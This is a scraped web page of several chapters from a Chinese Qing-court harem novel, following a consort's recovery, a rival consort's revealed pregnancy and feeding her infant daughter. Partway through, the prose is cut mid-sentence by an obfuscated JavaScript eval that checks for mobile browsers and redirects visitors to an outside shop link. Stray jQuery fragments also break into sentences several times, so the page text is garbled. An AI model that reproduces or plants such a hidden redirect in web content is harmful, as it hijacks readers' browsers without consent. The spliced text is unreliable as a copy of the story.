毕竟防人之心不可无嘛。 白薇见宋时繁摇了摇头,这才躬身退了出去。 日子一晃而过,宋时繁这段时间就呆在自己的院子里,白日跟着竹苓学学绣活儿,晚上就让赵妈妈帮她调理身体,倒是十分充实。 期间四爷还来看过她两次,一次是陪着宋时繁用了午膳,一次只略坐坐就走了,都没有留下过夜,毕竟宋时繁身体抱恙,四爷还不是那种饥不择食的人,连伤员都不肯放过。 宋时繁对此倒也不是很着急,总归四爷还肯往她这里来那就无妨,若是人在病中还急吼吼地把四爷留下,反而会弄巧成拙,显得她争宠心切。 因此,府上李格格还在安胎,宋时繁这边又在养病,郭格格一向不讨四爷喜欢,于是,这段时间侍寝最多的就当属武格格了,不过,武格格自入府以来就一直算得宠的,倒也不是什么稀罕的事情。 至于还有什么大动静,那就是福晋那边了。 听说福晋将常氏和汪氏全都挪到正院当中的偏房里头住着了,看来,福晋势必是要让这两个侍妾率先生下孩子好抱去正院的。 宋时繁听闻后不免觉得好笑,福晋才是真正着急的那个人呢,愈发连姿态也顾不上了,这样把侍妾放自己屋子里算什么?也要四爷腿往正院迈才行呀?这不,侍妾们一搬到正院,四爷反倒往武格格那边去得更勤快了,把福晋气了个仰倒。 65. 探病风波 这日,宋时繁感觉她的脚已经好得差不多了,不需要人扶着,她都可以自己下地走走了。 于是,在屋子里闷坏了的宋时繁当即表示要去院子里转一转。 白薇其实有些不赞同,毕竟自家格格的脚这才刚好一点儿,若是急着动弹难保不会落下什么病根,但奈何她拗不过宋时繁,到底还是让宋时繁出了屋子。 “白薇姐姐别担心,格格心里头有数呢,再说了,咱们在一旁守着,想必不会有什么事的。”竹苓见白薇实在是愁得慌,便劝了一句。 白薇有些无奈,可到底没法子,看着宋时繁的身影默默叹了口气没再张嘴了,只是眼神一刻也不敢从宋时繁身上移开,生怕宋时繁一个没站稳再摔着自己。 宋时繁却顾不上旁的,这会子能呼吸到新鲜空气她已经很满足了,连带着心情都好了许多。 就在这时,石桥小跑着过来禀报。 “格格,外头武格格和郭格格过来了,这会子人都已经到院门口了。” 宋时繁心下有些诧异,不知道武格格和郭格格怎么会突然过来,转念又想到她们二人约莫是来探病的,这才开口对石桥道:“快去请她们进来吧。” 原本见客好歹要换身衣裳的,可现下,人家都已经到门口了,再说这些也来不及了,宋时繁只得作罢。 果不其然,不多会儿,武格格二人便由石桥领着带了进来。 武格格和郭格格二人也没想到居然在院子里就能瞧见宋时繁,脸上均是一愣。 宋时繁见状便笑了,然后解释了一句:“这几日总闷在屋子里,人都要憋坏了,这不,让丫鬟们扶我出来站站,也是巧了,我这刚出门二位妹妹就来了。” “是我们来得巧了。”武格格闻言笑吟吟地应和着宋时繁的话。 三人互相见礼后,宋时繁开口提议道:“反正也出来了,咱们就到石桌那边坐坐吧,让他们搬几个火盆子出来搁在旁边,再叫人预备好热茶和点心,倒也不会觉得冷,妹妹们意下如何?” “瞧宋姐姐这话说得,姐姐是主,我们是客,自然是要客随主便的。” 武格格率先张口,郭格格也在一旁点了点头,宋时繁见两人都没意见,便让竹苓下去安排了。 竹苓手脚利落,得了吩咐很快就将一切安排得十分妥当。 不仅在石桌旁摆了四个火盆,还让人在石凳上铺了厚厚的软垫,保管冻不着三位格格。 至于点心,也都是挑了精致好看的端了上来,竹苓还细心地在石桌不远处置了一个小火炉,上头坐着一壶热水,正咕嘟嘟冒着热气儿呢,看着就让人心里暖烘烘的。 宋时繁心道这么一摆还真有点子围炉煮茶的味道,不得不说,冬日里这样坐着倒是挺有情调的,紧跟着她便招呼武格格和郭格格坐下。 “妹妹们快坐吧。” 等三人坐定后,竹苓又上前帮她们斟茶,“请格格们慢用。” “宋姐姐身边的丫鬟瞧着好生伶俐呀,妹妹看姐姐日常出门也都是带着她,可见她伺候得妥当,不像妹妹身边那几个小丫头,粗苯得很。”武格格状似嗔怪地开口。 宋时繁不愿意接这话,她总不好巴巴地去议论武格格身边人的好坏,于是她只抿唇笑了笑,然后示意竹苓退下了。 武格格见状也没有显出恼色来,自己给自己找了个台阶就下来了:“宋姐姐身子可好些了?早前我就跟郭妹妹说要来看你,可又听闻姐姐是伤到了脚,想必不方便行动,倒一时间没敢来打扰宋姐姐。” “太医说万幸没伤到骨头,只是扭到了,如今已好多了,这不,都能下地了,倒是我人在病中,容颜残损,顾不上整理仪容,叫两位妹妹看了笑话了。” 宋时繁有些不好意思地摸了摸鬓发,她这会子连发髻都没梳,早起为了省事只粗粗将头发拢在一起,还真不是适合见外人的造型。 “宋姐姐哪儿的话?是妹妹们贸然打扰了姐姐养病才对,再说了,咱们都是姐妹,宋姐姐还怕妹妹们看吗?”武格格打趣道。 “既都是姐妹,还说什么打扰不打扰的话,你们愿意来瞧瞧我,我才高兴呢,你们不知道,天天憋在屋子里,哪儿也不能去,我早就闷了。”宋时繁笑了笑,顺着武格格的话也客气了一句。 “那也是,宋姐姐近几日没来请安,李姐姐也仍是闭门不出,早起只有我跟郭妹妹去福晋那里做伴,还真有些说不上来的冷清。” 说到这里,武格格停顿了片刻,然后又继续道:“宋姐姐听说了吗,福晋将两位侍妾都挪去正院里头住着了,想来咱们的福晋也是个极爱热闹的呢。” 武格格这话颇有点意味不明,宋时繁算是发现了,武格格总喜欢说这些似是而非的话,也不知道她是在装糊涂还是真糊涂。 不过,宋时繁更倾向于她是装的,这就有些讨人厌了,明摆着挑拨人嘛!把人当傻子呢? 思及此,宋时繁平静开口:“我一直闭门养病,还真不知道此事,不过,咱们做妾室的自然应该常常侍奉在福晋左右,如今常姑娘和汪姑娘既帮我们做了份内之事,能日日陪侍在福晋近前,我们原该感激才是,当然,这也是福晋宽和不计较我们的缘故。” “姐姐说得是呢。”武格格被宋时繁这话一噎,脸上表情变了变,半天就憋出来这么一句,好在很快又恢复如常了。 只她心里却在暗骂宋时繁装腔作势,她可不信宋时繁就这么老实本分,到底是从前跟在德妃身边的人,又在宫里活了这么久,还真是滴水不漏呢,武格格如是想到。 之后三人又继续谈天说地,武格格也终于不再暗戳戳挑事,所以气氛还算和谐,直到郭格格忽然面露难色。 原是宋时繁最近总想喝牛乳,可这个时候的新鲜牛乳是没经过处理的,喝起来有股子腥味,宋时繁不太喜欢。 左思右想后,宋时繁就让膳房做了许多带奶味的点心送来,比如奶饽饽、牛乳糕、乳饼等等,她甚至还让膳房弄出了炸牛奶来,也算是一种变相的解馋办法了。 后来,膳房见宋时繁喜欢这些,又常命人带了银子来打点,于是膳房投桃报李,前几日还给了她一点干酪,宋时繁尝过后确实很喜欢,还用来泡到热奶茶里喝,倒是别有一番滋味儿。 故而,今日武格格和郭格格二人过来,宋时繁照旧让人上了她平日里吃着不错的点心,其中就包括了牛乳糕和炸牛奶,连干酪也命人摆了上来。 然后,宋时繁出于礼貌,便招呼着武格格、郭格格二人尝一尝炸牛奶和干酪。 “这个炸牛奶是膳房新做出来的,我吃着很不错,妹妹们也试试吧,干酪也还行,就是不知道妹妹们吃不吃得惯了...”宋时繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690143|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着开口。 谁知武格格吃完之后面色如常,反倒是郭格格,只见她点心还没进嘴呢,仅仅是拿到跟前,脸色就难看起来了,紧接着,郭格格便扔下点心侧过身子,又用帕子挡住嘴“呕”了两声,仔细看,郭格格的泪花都出来了。 “快端杯热水来。”宋时繁见状赶紧吩咐在一旁守着的白薇,白薇连声应是,就急急忙忙下去了。 很快,白薇就带着竹苓一块过来了,白薇先将手里的温水递到郭格格面前:“郭格格,您先喝口水润润喉咙吧。” 郭格格小口喝了,又用帕子压了压嘴角,竹苓瞧郭格格好似缓过来了,便紧跟着上前开始伺候郭格格洗手。 待郭格格都收拾妥当以后,宋时繁这才关切道:“郭妹妹可好些了,莫不是吃不惯这个?怎么突然犯恶心了?”宋时繁犹自不知道是什么原因导致的,只以为各人口味不同。 郭格格虚弱地笑了笑:“给宋姐姐添麻烦了,妹妹还好,就是方才突然闻到牛乳的味道有些不习惯罢了...” 宋时繁闻言摆摆手,善解人意地开口:“这有什么的,有人喜欢自然有人不喜欢,倒是姐姐思虑不周了,没事先问问妹妹的忌口。” 郭格格腼腆地笑了笑,眼看着此事就要这样被一笔带过的时候,旁边一直没开口的武格格冷不丁道:“郭妹妹这样...怕不是有孕了吧?” 宋时繁的位置正好在郭格格对面,把郭格格的神色变化瞧得真真儿的。 彼时,武格格说完这话以后,郭格格的脸霎时间就红成一片了,她面色有闪躲也有羞恼,还有一丝被戳穿后的难堪,唯独少了些惊讶。 莫非,郭格格还真的有孕了?而且,看样子她好像早就知道自己有身孕了,只不过一直特意瞒着府里人。 想到这里,宋时繁又去看武格格的脸色,武格格表面倒是没什么其他反应,只是一脸关切地看着郭格格,但宋时繁可没有错过武格格神色里一瞬间的晦暗。 武格格心里确实有些恼火。 她本以为郭氏到现在就伺候了主子爷一次,主子爷回回来看自己的时候一个眼风都没往郭氏那边飘过,她便觉得郭氏不足为惧。 现在看来,到底是她大意了,不曾想郭氏的运气居然这么好,竟一次就怀上了主子爷的孩子,算算日子,也有近两个月身孕了,也是她近日常常伺候主子爷,倒彻底把郭氏此人给忽略了。 可恨这个郭氏,人前装乖,背后心机如此深沉,将此事瞒得滴水不漏,要不是今日事发突然,怕要等郭氏把胎坐稳她才会知晓呢。 武格格的面上不由闪过一丝恼火,将将好叫宋时繁看在了眼中,想必武格格也同她一样,是到了这会子才察觉此事的吧。 那这事儿还真是有点精彩了。 郭格格和武格格住一个院儿里,按说郭格格的动静怎么也瞒不过武格格才是,况且武格格的心眼不算少,没想到郭格格居然闷不吭声办大事,把怀孕的事死死捂住了。 看来,郭格格也不是傻的,当然,这样低调寡言的人,宋时繁打从一开始就不敢小看她就是了。 出了这档子事,武格格和郭格格很快就跟宋时繁告辞了,宋时繁便也没久留二人。 只在她们走后,宋时繁心下琢磨怕是不出一个时辰,阖府上下就都要知道郭格格有孕的事了。 66. 郭格格孕事 果不其然,还没到用晚膳的时候呢,宋时繁就听说福晋那边给郭格格请了太医,太医说,郭格格已经有近两个月的身孕了,并且胎气稳固。 等到四爷回来的时候,福晋立即派人跟四爷禀报了此事,四爷听说以后没什么太大的反应,主要,四爷属实也是没想到,竟然一次就叫这郭氏怀上了,莫非她还真是个有福气的? 思及此,四爷到底还是朝着郭氏住的院子走去,怎么说都怀着他的孩子呢,应该要去看一看郭氏的。 这段时间,四爷来这里去的都是武格格的屋子,倒是头一次拐到郭格格的屋子里去了,也不知武格格心里做何感想。 不过,武格格面上功夫还是很到家的,听说四爷来了她们院子,规规矩矩到门口给四爷请了安,见四爷去了郭格格那儿,也没说什么,老老实实又进屋了,只是,武格格私下里有什么心思,旁人就不知道了。 四爷一进郭格格的屋子就开口询问道:“太医是怎么说的?” 郭格格迎上去忙给四爷请安:“奴才给主子爷请安,主子爷吉祥。” 四爷摆了摆手:“你如今有身子了,无需多礼。” 郭格格听到这话面上显出一抹娇羞来,低低应了声“是”,然后才又开口道:“太医说奴才胎像安稳,不过到底是头三个月,还是要额外注意着。” 四爷见状点了点头,“那你就好好养着吧。” 说完这句话以后,四爷又等了一会儿,见郭氏仍在原地呐呐地,也不开口,于是,他想了想后淡淡道:“若是有什么事就去找福晋给你做主。” 郭格格闻言轻点下颌,想想觉得不妥,又道:“奴才省的,福晋待下一向宽和...” 然后,郭格格就再也说不出什么了。 其实也不能全怪郭格格,她本就是个安静寡言的人,更别提她与四爷几乎完全不相熟,除了在那种大家都在的场合里,能远远见到四爷一面,也就是那回,四爷来她屋里算是私下接触过一次,再多的就没有了,叫郭格格同四爷说什么呢? 可四爷也不是个耐得住性子的人,当然,他一个当爷的也不会特特去找话题跟一个格格闲聊就是了,于是,四爷又陪着郭格格坐了一会儿,见郭格格实在没有要说的话了,四爷便起了身。 “爷前院儿里还有事要忙,就不陪你了,你好好养胎。”说罢,四爷没等郭格格回话,便转身踏出了郭格格的屋子。 待四爷走后,郭格格身边的贴身丫鬟小桃有些气急败坏地走到她身前道:“格格怎么就让主子爷走了?格格如今怀着孕正要人安慰,更该将主子爷留下才是...” 另一个也是贴身丫鬟叫小翠的,推了推小桃,示意她别再说了。 小桃却仍旧有些不依不饶,嘴巴里还在嘟嘟囔囔的:“格格总是这样,方才主子爷在,格格也不知道多说说话...再说了,人家李格格怀孕,府里上上下下谁不巴结着,偏格格您,怀了孕还要藏着掖着的,现下好不容易大家都知道了,格格却不中用...” 见小桃越说越过分了,嘴里愈发没个顾及的,小翠忙呵道:“闭嘴,这话该是你个做奴才的能说出口的吗?如今竟也没个体统规矩了!回头让格格禀了福晋赏你几个板子再打发了你,我看看你是不是还继续这样多嘴多舌!还不快出去,别在这里惹格格心烦!” 小桃也知道自己刚刚的话过分了,便没有接着分辨,只跺了跺脚,昂着脖子出了屋子。 小翠这才上前扶着郭格格劝道:“格格放宽心,别跟那小蹄子计较,她是没脑子的,嘴里也没个把门儿。” 郭格格摇摇头:“无妨,”顿了顿又道:“其实,小桃说的也并无道理,是我不中用,连累你们都跟着受罪。” “格格,您就是太好性了,才纵得她没了规矩,这话哪里就是她一个做奴才的人能说的?她那都是胡说八道呢,格格您也别多想,如今您有孕在身,虽不能伺候主子爷,但到时候给府上添个健健康康的小主子才是正经事呢。”小翠继续劝道。 郭格格叹了口气,又低头抚上自己还没有什么太大起伏的肚子,目光温柔:“但愿吧,我不求别的,能有个孩子在身边,我也算日后有靠了。” 至于四爷的宠爱什么的,入府到现在,她也早看清自己的处境了,既不得四爷喜欢,那便罢了,就连这个孩子都是意外之喜,总之,她不奢求就是了。 郭格格这边暂时不表。 另一头,宋时繁在自己的院子里正高兴呢。 倒不为别的,而是因着她发现她的大格格可以吃东西了。 按理来说,小孩子出生五六个月的时候确实可以吃点辅食了,但大格格是早产,宋时繁担心她的脾胃发育不完全,便没有过早地将这件事情加入日程。 可今日,快到用晚膳的时候,大格格死活不肯叫自己的奶娘抱,偏要赖在宋时繁的怀里不走,宋时繁没法子了,又舍不得自家女儿哭,只得抱着大格格一起吃饭。 好在大格格还算乖巧,只是一定要宋时繁把她抱在身上,倒也不怎么乱动,所以宋时繁就边抱着大格格边用晚膳。 饭吃到一半,大格格忽然伸手去够桌子上的东西,还把桌子拍得直响,弄得宋时繁哭笑不得。 “小祖宗,快别闹了,让额娘安生吃饭吧...”宋时繁有些无奈。 大格格可听不懂人话,见抓不到桌子上的东西,又去抓自家额娘的嘴巴,若不是宋时繁嘴巴闭得快,保不齐就让大格格把手都伸进去了。 赵妈妈见状在一旁道:“大格格怕不是饿了吧?”说着又笑了:“咱们大格格真聪明,还知道吃的东西在都在嘴巴里呢,格格,不若将大格格给奴才抱吧,奴才喂一喂她约莫就好了。” 宋时繁闻言心下有些稀奇,她的大格格真是在要吃的? “不着急,先让我试一试。” 说罢,宋时繁将大格格抱得高了点儿,让她的小短手能够到桌子上的东西。 “额娘的乖宝,你是饿了吗?想吃东西?来,想吃你自己够!” 然后就见大格格仿佛听懂了似的,果真伸手去抓盘子里的菜,可她手短,只摸得到摆在桌子边缘一点的奶饽饽,而且她的小手力气也不够,拿不起来,但大格格不肯放弃,用小手指头在奶饽饽上扣啊扣的。 这下子,可把宋 () { $(''.inform'').remove(); $(''#content'').append('' 时繁惊讶坏了。 “呀,你们瞧,她还真知道要吃的呢。”宋时繁脸上带着笑,惊喜道。 正巧今儿个膳房上了鸡蛋羹,宋时繁思索片刻后,用碗里的小勺蒯了一勺鸡蛋羹吹了吹后,送到了大格格的嘴边。 大格格配合得很,立马张开小嘴将蛋羹吸了进去。 宋时繁见状刮了刮大格格的小鼻子:“还是个小贪吃鬼呢。”说罢,又喂了两勺蛋羹给大格格。 “格格...如今给大格格吃东西是不是太早了?”赵妈妈原本以为宋时繁就是在逗孩子玩,谁成想真喂进去了,当即面上就有些担心。 宋时繁也知道这个事儿要循序渐进比较好,当下便也停了动作,还吩咐白薇她们将桌上的东西都撤了下去,免得大格格看了眼馋却又吃不到。 等桌面收拾干净以后,宋时繁才开口对赵妈妈道:“嗯,我知道,不过既然大格格愿意吃东西,之后让膳房每日给大格格专门做些果泥、米粥、蛋羹之类软烂的东西,让他们不必加调料,只管往清淡了做。” “哦还有,那些东西一种一种让大格格吃,别今天吃这个明天吃那个,就以七日为期,七日后大格格若是身体没有异样再添另一种,此事我就托付给赵妈妈了。” 宋时繁这样做也是为了防止万一大格格对什么东西过敏,大格格还太小了,若是过敏了又没有及时发现那可是会要命的,而赵妈妈是大格格的乳母,几乎日日跟着大格格,一旦大格格有什么异常,赵妈妈也能第一时间发现。 她又细细嘱咐了一番赵妈妈,见赵妈妈都一一应下了,宋时繁这才放下心来,搂着大格格亲热了好一会儿,便让赵妈妈带下去喂奶了。 就这样,大格格凭借着自己坚持不懈的努力,也算是给自己安排上饭碗了。 晚膳用完后,宋时繁觉得时辰还早,便又让人扶着她去院子里散步。 刚走出院门,来福就跑到了宋时繁的脚边,在她面前跳来跳去的,而且,来福来了没多久,好像就胖了一圈儿,看着是愈发可爱了。 来福身后还跟着曹三宝,自从来福进了她院里以后,曹三宝几乎要变成专业养狗人了。 思及此,宋时繁笑吟吟对曹三宝道:“你将来福养得不错,回头让你白薇姐姐赏你。” “奴才不敢,能养着格格的狗是奴才的福气呢。”曹三宝摸了摸光滑的脑袋,憨憨一笑。 宋时繁也不是画大饼,回屋的时候便让白薇抓了一把铜钱。 “这几日我瞧着三宝子日日将来福擦得干干净净的,院子里也一点儿没脏,可见是他的功劳,你再把那碟子枣泥酥也端给他,他们太监吃的饭算不得好,三宝子如今正是长身体的时候呢,夜里容易饿。” 白薇笑着去了,竹苓在一旁打趣儿道:“哼,格格只疼三宝子罢,倒是把奴才跟白薇姐姐都忘记了。” 宋时繁故作心痛的模样:“哎呀呀,小娘子说这话可真真儿要叫我伤心死了,小娘子这样俊俏,我哪里舍得不疼你呢~” 说着,宋时繁还轻佻地刮了刮竹苓的鼻子,直把竹苓臊得一扭身就跑了,倒是叫宋时繁笑得差点合不拢嘴。 67. 娶这么多老婆干嘛? “格格怎么着竹苓了?奴才刚刚跟她迎面撞上,她一句话不说捂着脸就跑了...” 白薇从外头进来,脸上还带着些许疑惑,可打眼瞧见宋时繁正歪在软榻上笑得花枝乱颤呢,心下还有什么不明了的?肯定是自家格格这个促狭鬼,又拿竹苓逗乐子了,把人都给逗弄跑了。 “奴才知道了,定是格格您呀,又捉弄竹苓了。”白薇走上前笑了笑。 “我可没有招她,是她巴巴地先来招我的。”宋时繁鼓了鼓嘴,从鼻子里发出一声愉悦的轻哼来。 白薇摇摇头,眼底都是笑意:“那也是,竹苓脸皮子多薄哇,可比不上格格您,必是她招惹格格在先的,这才把自己臊走了。” 宋时繁原本还在心里得意,细细一琢磨才反应过来白薇这句话里的意思,当下就不乐意了。 “好啊,你个白薇,竟然敢戏弄我。”说着,宋时繁就伸手去咯吱白薇的腰肢,白薇一贯是最怕痒的,哪里经受的住这个? “好格格,好格格,您饶了奴才,是奴才错了,格格快饶了奴才吧。” 白薇被咯吱得难受,嘴里不住求饶,偏白薇还不敢往旁边躲,生怕一个不小心将宋时繁带摔倒了,如今宋时繁的脚虽说好多了,可走得还不是很利索呢。 实在没法子了,白薇只得祭出保命符来:“格格...格格!奴才有事要跟你禀报,真的,是要紧事儿呢,您先放过奴才...” 宋时繁这才罢了手,斜倚在软榻上直喘气儿,缓了好一会儿才道:“什么事儿啊?” 白薇略略整理了一下刚刚被宋时繁弄皱的衣裳,又捋了捋头发,收敛神色后开口道:“方才奴才去给三宝子送东西,他跟奴才说,下午的时候,主子爷出了郭格格的院子,直接就去了正院里,这会子正陪着福晋用晚膳呢,看样子,主子爷今晚应该要留在正院了。” 宋时繁闻言不禁白了白薇一眼,心说这算哪门子的要紧事儿呀?四爷去找福晋那不是天经地义的吗? 白薇见宋时繁没反应,还以为宋时繁没开窍,面上便有些着急:“格格您就不觉得奇怪吗?今儿个郭格格刚查出有孕来,好歹是件喜事儿,可主子爷怎么都没去陪一陪郭格格,反倒去了福晋那里,福晋不是一向...” 后面的话白薇没继续说下去,不过宋时繁也已经听懂她是什么意思了。 “白薇,再怎么着,她都是福晋,是主子,跟咱们不一样的。” 确实,福晋一向不太得宠,但是她的身份就摆在那里,只要福晋没犯大错,四爷还是会尊敬她的,好比先前,四爷和福晋冷战,看着闹得也凶得很,过后,两个还不是跟没事儿人一样,该留宿留宿吗? 四爷对福晋可不会像对她们这些格格,到底多了一份慎重在。 而她们这些格格,说穿了,兴许都不如宫女丫鬟呢,宫女丫鬟们到年纪了要是愿意的话还能出府谋个别的路子,可她们就只能一辈子跟着四爷被困囿在府中了。 当然,如果四爷顺利登基,她们倒是可以换个地方待一待,能被圈在皇宫里,不过,那就更是不见天日的地方了。 白薇听了这话却犹自不解:“难道主子爷不是个重视子嗣的?那也说不通啊...” 宋时繁闻言不由失笑:“傻白薇,哪有男人不喜欢子嗣的?可你怎么不想想,能给四爷留下子嗣的人海了去了,难道四爷个个都会喜欢不成?” “旁的不提,就先前我刚生下大格格那会子,府里人都觉得大格格看着就要不成了...” 宋时繁的话还没说完就被白薇打断了:“格格您又胡说八道了,嘴里也没个忌讳,咱们大格格好着呢,一看就是福寿绵长的样子。”说罢,白薇还煞有介事地念了句佛。 宋时繁笑了笑,顺着白薇的话道:“是是是,怪我瞎说了,咱们大格格肯定长命百岁,我的意思是,府里那些人没起子眼力见,都这么以为,说句大不敬的话,怕是四爷的心里都存了个疑影儿呢,见我孩子生得不好,难不成四爷就不恼?” “可主子爷对咱们大格格挺上心的呀,也常来看格格...”白薇犹疑道。 “那也是咱们大格格自己争气,硬是从出生到现在都健健康康的,如今更是愈发好了,四爷是看着孩子的面儿呢,所以呀,白薇你明白了吗?就算是子嗣,也是不同的,更何况郭格格本就不太得四爷的心,常言道母以子贵,殊不知在这皇家里,还有句话叫子以母贵呢。” 既说到这个份儿上了,宋时繁干脆把话掰开了,揉碎了说给白薇听。 白薇似有所觉:“那格格您的意思是...郭格格不得宠所以连带着怀的孩子也?是了...四爷就很喜欢李格格,对她的孩子就很重视,常去陪伴她,这么想来,奴才倒还真觉得郭格格有点儿可怜了...” 宋时繁却又摇了摇头:“这可能只是其中一个原因吧,更主要的是,如今府上有两位格格怀着身孕呢,可福晋的肚子却一直没有动静,若四爷再偏宠着有身孕的格格们,那福晋的心里怕就要不好受了,你别看今日四爷去了正院,怕是之后几日,四爷都会去陪伴福晋呢。” “原是这样,倒是奴才想得简单了。”白薇歪了歪头。 “我也是私下里跟你瞎猜猜罢了,至于四爷心里到底是不是这么想的嘛,那我就不清楚咯。”宋时繁弯唇笑了笑,露出一小排牙齿,显得异常俏皮。 其实,宋时繁心里的想法还没有跟白薇说完全。 她觉得,四爷急着安抚福晋还有一个最重要的原因,那就是怕福晋万一再动个手脚什么的,会伤到他的子嗣。 之前那次,李格格是已经坐稳了胎,这才万幸没事,但是如今,郭格格有孕还不满三月呢,若真有个什么不测,那到时可就真说不清了。 眼下,四爷面上显得不重视郭格格的这一胎,倒也算是一种对她的变相保护了。 如此想来,四爷还算是有点担当,但不多,毕竟,若是他不把这么多女人娶回来,肯定也没后面这么多事了。 宋时繁有时候也是真搞不懂古代人干嘛非要弄这些三妻四妾回来,瞧瞧,连堂堂皇阿哥想平衡后院都不是一件容易事呢。< () { $(''.inform'').remove(); $(''#content'').append('' p>不过,说到底,这些都不是宋时繁如今的身份该操心的事,所以还是别告诉白薇得好,不如早点洗洗睡吧。 这段日子,宋时繁沐浴之后,白薇和竹苓都会遵照于太医的意思,再单独给她脚上的伤处热敷一下,一般这个时候,宋时繁都已经歪在床榻上,随时准备睡过去了。 可今日,许是因着时辰还早的缘故,宋时繁便显得格外有精神。 “我瞧着好像都不肿了呢,怎么看着还是这样吓人。”宋时繁摸了摸自己的脚踝。 其实宋时繁已经摸不到肿胀了,而且她都可以下地走路了,脚踝处动起来也不疼了,显然是好得差不多了,可宋时繁的脚踝那里看上去还是青青紫紫一大片,甚至青到了脚面上,吓人得很。 “是好多了,可这淤青怎么总也不消呢?”白薇也有些诧异。 “许是格格的皮肤太白嫩了些,所以便显得格外严重了。”竹苓思索后开口道。 宋时繁闻言一想还真有这么个可能,原主确实给她留了一身又滑嫩又白净的肌肤。 思及此,宋时繁煞有介事地点点头:“竹苓你说的很有道理,看来皮肤太好也有烦恼呀。”宋时繁故作无奈地摊开手,臭屁得很。 “莫不如再请了于太医来瞧瞧?”白薇仍是有些不放心,这看着也太吓人了。 “你当于太医是什么大善人不成?先前那都是看在四爷的面子上,他才肯来给我一个格格诊脉的,咱们想请他可请不到,而且都快好了干嘛还要见太医呀。”宋时繁摆摆手示意不用这么麻烦了。 “哼,奴才看格格是怕太医来了又给您开苦药汁子喝吧。”白薇轻轻哼了一声,然后仔仔细细地帮宋时繁擦好脚,又伸手拉过被子,将宋时繁的脚包裹了起来。 宋时繁被戳穿心思也不恼,皱了皱鼻子笑道:“你们也快去睡吧,可不许在外头守夜啊,回头再把身子给冻坏了。” “知道了,格格快睡吧。” 宋时繁一向不许她们两个守夜,不管是在门外还是在屋内,总之晚上都不许她们守着。 宋时繁还一直强调自己没有起夜的习惯,夜里用不着人伺候,甚至威胁说有人在旁边她睡不好,好说歹说才算劝住了白薇和竹苓打算守夜的想法。 毕竟现在可是冬日,好好的姑娘们这样守上一夜可不是要冻坏了,难不成舒舒服服躺在自己被窝里不香吗?干嘛平白无故受这个罪。 反正宋时繁是绝对不允许有人给她守夜的,等听到白薇和竹苓都老老实实应下以后,她才放心地躺进被窝里。 竹苓见宋时繁躺好后,便把床前挂着的帘子放了下来,白薇则将内室里的灯逐一吹灭,见宋时繁也没了动静,二人这才退了出去。 果不其然,就如宋时繁猜测的那样,在之后的几天里,四爷都是留宿正院的,后院里倒是还算相安无事。 这天一大早,宋时繁就被喊了起来,有一段日子没早起了,宋时繁还真有点子不习惯了。 可如今她的脚已经好得差不多了,再不能一味躲懒,也该去给福晋请安了。 68. 下雨了 如今已至三月,天气渐渐回暖,但时有阴雨,气温也总是反反复复地在变化,让人摸不清头脑。 昨日还是一个大晴天呢,可一到入了夜,外头却淅淅沥沥地下起雨来,直到天明,这落雨也未曾停歇,甚至有越下越大的趋势。 宋时繁昨晚上听了一夜滴滴答答的雨声,原本就没睡好觉,这会子被早早喊了起来,困得眼睛都睁不开了,只见她用手遮住口鼻打了个哈欠,然后又伸了个懒腰,这才慢腾腾从床榻上挪了下来。 刚下床的宋时繁透过窗户瞧了一眼外头飞扬着的雨丝,面上便有些怏怏不乐。 她其实不太喜欢下雨天,特别是这种阴雨绵绵的天气,看着就让人心里头觉得不爽利。 “格格,小心冻着,奴才伺候您更衣吧。”竹苓捧着一身衣裳轻轻唤了宋时繁一声,这才把宋时繁纷纷扬扬的思绪里给拉了回来。 “怎么一早起来就不见白薇呀?”宋时繁伸展开手臂好让竹苓方便动作,又四下看了看,没瞧见白薇的身影。 “回格格的话,白薇姐姐去膳房给格格提膳了。”竹苓一边儿答着宋时繁的话,手上动作也没停。 二人说话间,白薇便领着石桥回来了。 只见两个人身上的衣服都湿了大半,可带回来的食盒不仅没沾到雨水,打开食盒的时候,里头的菜还冒着热乎气儿呢,可见路上一丁点儿都没敢耽误。 “格格,今日膳房做了您喜欢的芝麻球和蟹黄包子呢,您要不先用膳吧?”白薇将食盒里头的菜一一摆放到桌面上,方才她提到的那两道点心也赫然就在其中。 摆完膳,白薇又打发石桥快回去换衣裳:“可别再冻病了...” “你倒是知道说旁人,怎么今日是你去提的膳?”宋时繁从箱笼里找出条手帕来递给白薇,示意她快擦一擦额上的水珠。 “多谢格格,奴才见今晨一直在下雨,便有些不放心他们自个儿去提膳,万一路上耽搁了,岂不是要误了格格的早膳?”白薇福身谢过宋时繁之后,这才把帕子接了过来。 “耽误了怕什么,一顿不吃我还能饿死?瞧你这一身湿漉漉的,赶紧去换身衣裳再来。”宋时繁埋怨地看了白薇一眼。 “哎,奴才省得,格格快些用膳吧,蟹黄包子若是凉了可就不好吃了。”白薇笑着道,又催促了宋时繁一遍。 宋时繁见白薇应下,这才依言坐到了桌子前。 果然如白薇所言,今日的早膳很对宋时繁的胃口,她不仅将一盘四个的蟹黄包子全吃光了,芝麻球也吃得只剩下孤零零的一个躺在碟子里。 另外,还有一道点心宋时繁也很喜欢,叫白糖糕,先用猪油混着糯米粉和糖做成大小一致的面团剂子,再将这些小面团剂子用大火炸至表面微微金黄,然后捞出锅,趁着热乎劲儿滚上一圈儿白糖,吃起来外酥里软,甜滋滋儿的,宋时繁吃了好几个。 最后又喝进去大半碗鸡丝粥,宋时繁的五脏庙才算舒坦了。 白薇也重新换了一套衣裳进到内室里,见宋时繁吃得差不多了,便命人将残羹冷炙都撤干净,她自己则赶紧把宋时繁按到梳妆台前,给宋时繁梳头上妆。 怎么说今日也是自家格格告假后第一次去正院里给福晋请安,若是去得太晚可就不好了,况且今日是初一,算是个正日子,早早到了也让旁人没话说。 宋时繁心里当然也知道是这么个理儿,于是乖乖坐在妆台前,任由白薇摆弄她的头发。 因着宋时繁今日穿的是一件藕粉色的宽边旗装,白薇便没有用那些花里胡哨的首饰,只取了一只珍珠步摇插在宋时繁小两把头的一端。 